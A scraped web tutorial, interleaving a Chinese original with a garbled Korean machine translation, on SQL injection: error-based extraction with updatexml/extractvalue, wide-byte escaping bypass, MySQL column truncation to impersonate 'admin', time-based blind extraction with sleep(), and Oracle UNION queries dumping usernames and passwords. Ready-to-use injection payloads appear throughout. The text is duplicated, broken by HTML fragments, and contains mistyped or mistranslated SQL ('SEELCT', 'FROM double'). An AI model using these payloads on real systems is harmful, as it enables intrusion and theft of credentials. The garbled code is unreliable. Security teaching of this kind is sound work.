함수를 통해 SQL 문 실행 🎜🎜🎜 먼저 updatexml() 함수를 이해하세요. 🎜updatexml (XML_document, XPath_string, new_value) 🎜 첫 번째 매개변수: XML_document 는 문자열 형식이며 XML 문서의 이름입니다. object; 🎜 두 번째 매개변수: , (concat(0x7c, (SELECT @@version))), 1)🎜 concat() 함수는 이를 문자열로 연결하므로 XPATH_string 형식을 따르지 않습니다. , 형식 오류가 발생하면 오류를 보고할 때 인식할 수 없는 콘텐츠가 표시됩니다: 🎜🎜🎜

    ② extractvalue 함수를 통해
    SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
    同样报错显示出当前用户:
    SQL 인젝션의 세 가지 방법은 무엇입니까?

    6. 宽字节注入

    宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。

    在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义

    如下使用 PHP 代码使用 $_GET 接收参数:
    SQL 인젝션의 세 가지 방법은 무엇입니까?

    如访问URL:http:/www.xxser.com/Get.php?id=',显示如下:
    SQL 인젝션의 세 가지 방법은 무엇입니까?

    单引号'被转义后就变成了',在 MySQL 中,'是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。

    但是若是输入:%d5',访问URL:http:/www.xxser.com/Get.php?id=%d5',显示如下:
    SQL 인젝션의 세 가지 방법은 무엇입니까?
    可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。

    7. MySQL 长字符截断

    MySQL 超长字符截断又名 “SQL-Column-Truncation”。
    在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。

    假设有一张表如下:
    SQL 인젝션의 세 가지 방법은 무엇입니까?
    username 字段的长度为 7。

    分别插入一下 SQL 语句:
    ① 插入正常 SQL 语句:
    INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
    SQL 인젝션의 세 가지 방법은 무엇입니까?
    成功插入。

    ② 插入错误的 SQL 语句,使 username 字段的长度超过7:
    INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
    SQL 인젝션의 세 가지 방법은 무엇입니까?
    虽然有警告,但是成功插入了。

    ③ 再尝试插入一条错误的 SQL 语句,长度同一超过原有的规定长度:
    INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
    SQL 인젝션의 세 가지 방법은 무엇입니까?

    查询数据库:
    SQL 인젝션의 세 가지 방법은 무엇입니까?
    可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其阶段。

    但是这样怎么攻击呢?通过查询用户名为 admin 的用户:
    SQL 인젝션의 세 가지 방법은 무엇입니까?
    可以发现,只查询用户名为 admin 的用户,但是另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。

    比如有一处管理员登录时这样判断的:
    $sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

    那么攻击者只需要注册一个长度超过规定长度的用户名“admin   ”即可轻易进入后台管理页面。

    8. 延时注入

    延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。

    在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:
    SELECT * FROM users WHERE id = 1 AND sleep(3)같은 오류가 보고되어 현재 사용자:

    🎜🎜6. 와이드 바이트 주입 🎜🎜🎜와이드 바이트 주입은 🎜인코딩 불일치🎜로 인해 발생합니다. 이러한 종류의 주입🎜은 일반적으로 PHP + MySQL🎜에서 발생합니다. 🎜🎜PHP 구성 파일 php.ini에는 매직 따옴표라고 하는 Magic_quotes_gpc 옵션이 있습니다. 이 옵션이 활성화되면 🎜GET에서 허용하는 작은 따옴표('), 큰 따옴표(") 및 역 따옴표를 사용하세요. POST 및 Cookie. 슬래시() 및 NULL 문자는 백슬래시🎜로 자동 이스케이프됩니다. 🎜🎜PHP 코드를 사용하여 $_GET을 사용하여 다음과 같이 매개변수를 받습니다. 🎜여기에 이미지 설명 삽입🎜🎜예를 들어 URL을 방문하세요: http://www.xxser.com/Get .php?id=', 다음과 같이 표시됨: 🎜<img.php.cn alt=" 여기에 이미지 설명 삽입"></img.php.cn> 🎜🎜작은따옴표 <code>'는 이스케이프된 후 '가 됩니다. MySQL에서는 '가 유효한 문자이므로 메소드가 작은따옴표를 닫으므로 주입 유형이 문자 유형인 경우 주입 유형을 형성할 수 없습니다. 🎜🎜단, %d5'를 입력하면 URL: http로 이동합니다. :/www.xxser.com/Get.php?id=%d5', 다음과 같이 표시됨: 🎜여기에 이미지 설명 삽입🎜이번에는 작은따옴표가 이스케이프되지 않은 것을 확인할 수 있으므로 PHP 이스케이프를 뚫고 계속해서 SQL 주입을 위한 SQL 문을 닫을 수 있습니다. 🎜🎜🎜7. MySQL 긴 문자 잘림은 "SQL-Column-Truncation"이라고도 합니다. 🎜MySQL 설정에 sql_mode 옵션이 있습니다. 즉, STRICT-ALL_TABLES 옵션이 켜져 있지 않으면 MySQL은 너무 긴 문자를 삽입합니다. 값은 오류가 아닌 경고만 표시합니다. 🎜🎜다음과 같은 테이블이 있다고 가정합니다. 🎜여기에 이미지 설명 삽입🎜사용자 이름 필드의 길이는 7입니다. 🎜🎜각각 SQL 문 삽입: 🎜① 일반 SQL 문 삽입: 🎜INSERT users(id, username, Password) VALUES(1, 'admin', 'admin');🎜여기에 이미지 설명을 삽입하세요🎜삽입에 성공했습니다. 🎜🎜② 사용자 이름 필드의 길이가 7을 초과하도록 잘못된 SQL 문을 삽입: 🎜INSERT users(id, username,password) VALUES(2, 'admin', 'admin');🎜 여기에 이미지 설명 삽입🎜경고가 있었지만, 성공적으로 삽입되었습니다. 🎜🎜3 원래 지정된 길이를 초과하는 동일한 길이로 잘못된 SQL 문을 다시 삽입해 보십시오: 🎜INSERT users(id, username,password) VALUES(3, 'admin x), 'admin; 🎜여기에 그림 설명 삽입🎜🎜데이터베이스 쿼리: 🎜🎜보시다시피 세 가지 데이터가 모두 데이터베이스에 삽입되었지만 값이 변경되었습니다. 기본적으로 MySQL은 데이터가 기본 길이를 초과하는 경우 데이터를 준비합니다. 🎜🎜그런데 어떻게 이렇게 공격을 할까요? 사용자 이름이 admin인 사용자를 쿼리하여: 🎜🎜admin이라는 이름의 사용자만 쿼리하는 것을 볼 수 있지만, 길이가 일치하지 않는 다른 두 명의 admin 사용자도 쿼리하여 보안 문제가 발생할 수 있습니다. 🎜🎜예를 들어 관리자가 로그인하면 다음과 같이 판단됩니다. 🎜$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND Password = '***'"; code>🎜🎜 그러면 공격자는 지정된 길이를 초과하는 사용자 이름 "admin"만 등록하면 백엔드 관리 페이지에 쉽게 들어갈 수 있습니다. 🎜🎜🎜8. 지연 주입🎜🎜🎜지연 주입은 일종의 블라인드 주입 기술로, 시간차를 이용한 주입 기술이다. 다음은 MySQL을 예로 들어 지연 주입을 소개합니다. 🎜🎜MySQL에는 sleep(duration)이라는 함수가 있습니다. 이 함수는 다음 SQL 문이 제공된 후 몇 초 후에 명령문을 실행한다는 의미입니다. 🎜<code>SELECT * FROM users WHERE id = 1 AND sleep (3)🎜는 3초 후에 SQL 문이 실행된다는 의미입니다. 🎜<p><strong>이 함수를 사용하면 해당 URL에 SQL 주입 취약점이 있는지 확인할 수 있습니다</strong>. 단계는 다음과 같습니다. <br><img src="https://img.php.cn/upload/article/000/000/024/1166284aff984436d0c2972083f47052-17.png" alt="SQL 인젝션의 세 가지 방법은 무엇입니까?"><br>DBMS가 <code>를 실행하고 sleep( 3) 문을 통해 해당 URL에 SQL 주입 취약점이 있는지 확인할 수 있습니다. and sleep(3) 语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。

    然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:
    ①查询当前用户,并取得字符串长度
    执行SQL 语句:
    AND if(length(user()) = 0, sleep(3), 1)
    如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。

    ② 截取字符串第一个字符,并转换为 ASCII 码
    AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
    AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
    ……
    不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。

    ③ 递归截取字符串每一个字符,分别于 ASCII 码比较
    AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
    注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。

    不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。

    Oracle

    1. 获取元数据

    Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:
    ① user_tablespaces 视图,查看表空间
    SELECT tablespace_name FROM user_tablespaces

    ② user_tables 视图,查看当前用户的所有表
    SELECT table_name FROM user_tables WHERE rownum = 1

    ③ user_tab_columns 视图,查看当前用户的所有列,如查询 user 表的所有列:
    SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

    ④ all_users 视图,查看 ORacle 数据库的所有用户
    SELECT username FROM all_users

    ⑤ user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引)
    SELECT object_name FROM user_objects

    2. UNION 查询

    Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。

    ①获取列的总数
    获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。

    另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立

    在 Oracle 中可以使用:
    UNION SELECT null, null, null …… FROM dual
    这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。

    然后获取非数字类型列,即可以显示出信息的列:
    UNION SELECT 'null', null, null, …… FROM dual
    UNION SELECT null, 'null', null, …… FROM dual

    把每一位的 null 依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。

    ② 获取敏感信息
    常见的敏感信息如下:

    • 当前用户权限:SELECT * FROM session_roles
    • 当前数据库版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
    • 服务器出口 IP:用utl_http.request 可以实现
    • 服务器监听 IP:SELECT utl_inaddr.get_host_address FROM dual
    • 服务器操作系统:SELECT member FROM v$logfile WHERE rownum = 1
    • 服务器 SID:SELECT instance_name FROM v$instance
    • 当前连接用户:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

    ③ 获取数据库表及其内容
    在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:
    http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
    그러면 sleep() 함수를 통해서도 데이터를 읽을 수 있지만 다른 함수의 협력이 필요합니다. 단계는 다음과 같습니다.

    🎜①현재 사용자를 쿼리하고 문자열 길이를 가져옵니다. 🎜🎜SQL 문을 실행합니다. 🎜 AND if(length (user()) = 0, sleep(3), 1)🎜3초 지연이 있으면 삽입 중에 사용자 문자열의 길이가 결정될 수 있습니다. 반 알고리즘은 일반적으로 결정을 줄이기 위해 사용됩니다. 🎜🎜② 문자열의 첫 번째 문자를 가로채서 ASCII 코드로 변환합니다.🎜AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1) 🎜AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)🎜...🎜 지연이 발생할 때까지 ASCII 코드를 계속 변경합니다. 3초 동안 첫 번째 문자를 맞춰보세요. 🎜🎜3 문자열의 각 문자를 재귀적으로 가로채서 이를 각각 ASCII 코드와 비교합니다🎜AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1) code> 🎜참고: L 위치는 문자열의 문자를 나타내고 N 위치는 ASCII 코드를 나타냅니다. 🎜🎜MySQL에만 지연 기능이 존재하는 것이 아니라 SQL Server, Oracle 및 기타 데이터베이스에도 유사한 기능을 가진 기능이 있습니다(예: SQL Server의 waitfor 지연, Oracle의 DBMS_LOCK.SLEEP 및 기타 기능). 🎜🎜<span style="font-size: 16px;">🎜Oracle🎜</span>🎜🎜🎜1. 메타데이터 가져오기🎜🎜🎜Oracle은 또한 Oracle에서 삽입한 일반적으로 사용되는 메타데이터 뷰를 지원합니다. ① user_tablespaces 보기, 테이블 공간 보기 🎜<code>SELECT tablespace_name FROM user_tablespaces🎜🎜② user_tables 보기, 현재 사용자의 모든 테이블 보기🎜SELECT table_name FROM user_tables WHERE rownum = 1🎜🎜 ③ user_tab_columns 뷰, 현재 사용자의 모든 컬럼 보기, 사용자 테이블의 모든 컬럼 조회: 🎜SELECT 컬럼_name FROM user_tab_columns WHERE table_name = 'users'🎜🎜 ④ all_users 뷰, 모든 사용자 보기 Oracle 데이터베이스🎜 SELECT username FROM all_users🎜🎜⑤ user_objects 보기, 현재 사용자의 모든 개체(테이블 이름, 제약 조건, 인덱스) 보기🎜SELECT object_name FROM user_objects🎜🎜 🎜2. UNION 쿼리 🎜🎜🎜Oracle은 MySQL과 마찬가지로 여러 SQL 문을 삽입하기 위해 세미콜론으로 구분할 수 있는 SQL Server와 달리 다중 문 실행을 지원하지 않습니다. 🎜🎜🎜①전체 열 수 가져오기🎜🎜전체 열 수를 가져오는 방법은 앞의 두 데이터베이스와 유사하며 여전히 ORDER BY 절을 사용하여 완료할 수 있습니다. 🎜🎜또 다른 방법은 UNION 키워드를 사용하여 결정하는 것이지만 🎜Oracle에서는 각 쿼리 뒤에 테이블 이름이 와야 한다고 규정하고 있습니다. 그렇지 않으면 쿼리가 성립되지 않습니다🎜. 🎜🎜Oracle에서 사용 가능: 🎜UNION SELECT null, null, null …… FROM double🎜여기서 이중은 Oracle의 가상 테이블입니다. 데이터베이스에 어떤 테이블이 있는지 알 수 없습니다. , 이 테이블을 조회 테이블로 사용할 수 있습니다. 🎜🎜그런 다음 숫자가 아닌 유형의 열, 즉 🎜정보를 표시할 수 있는 열🎜을 가져옵니다. 🎜UNION SELECT 'null', null, null, …… FROM double🎜UNION SELECT null, ' null', null, …… FROM double🎜🎜null의 각 자리를 작은따옴표'로 묶어야 합니다.', 🎜오류가 보고되면 문자열 형식 열이 아닙니다. 🎜; if 🎜정상적으로 반환된다면 문자열형 컬럼🎜이며, 해당 위치에 쿼리문을 삽입하여 정보를 얻을 수 있습니다. 🎜🎜🎜② 민감한 정보 얻기 🎜🎜일반적인 민감한 정보는 다음과 같습니다: 🎜
    • 현재 사용자 권한: SELECT * FROM session_roles
    • 현재 데이터베이스 버전: sys.v_$version에서 배너 선택 WHERE rownum = 1
  • 서버 종료 IP: 서버를 달성하려면 utl_http.request를 사용하세요.
  • 모니터링 IP: SELECT utl_inaddr.get_host_address FROM double
  • 서버 운영 체제: SELECT member FROM v$logfile WHERE rownum = 1
  • 서버 SID: SELECT instance_name FROM v$instance
  • 현재 연결된 사용자: SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM 듀얼 li >🎜🎜3 데이터베이스 테이블 및 해당 내용 가져오기🎜🎜테이블의 열 수를 알고 나면 테이블 이름, 열 이름을 쿼리한 다음 다음과 같은 메타데이터를 쿼리하여 데이터를 쿼리할 수 있습니다. 🎜http ://www.aaa.org/new.jsp?id=1 UNION SELECT 사용자 이름, 비밀번호, null FROM 사용자 --🎜참고: 데이터를 쿼리할 때 다음 사항에도 주의해야 합니다. 그렇지 않으면 쿼리할 수 없으며 하나씩 테스트하고 매개변수의 쿼리 위치를 변경할 수만 있습니다. 🎜
  • 위 내용은 SQL 인젝션의 세 가지 방법은 무엇입니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

    성명:
    본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.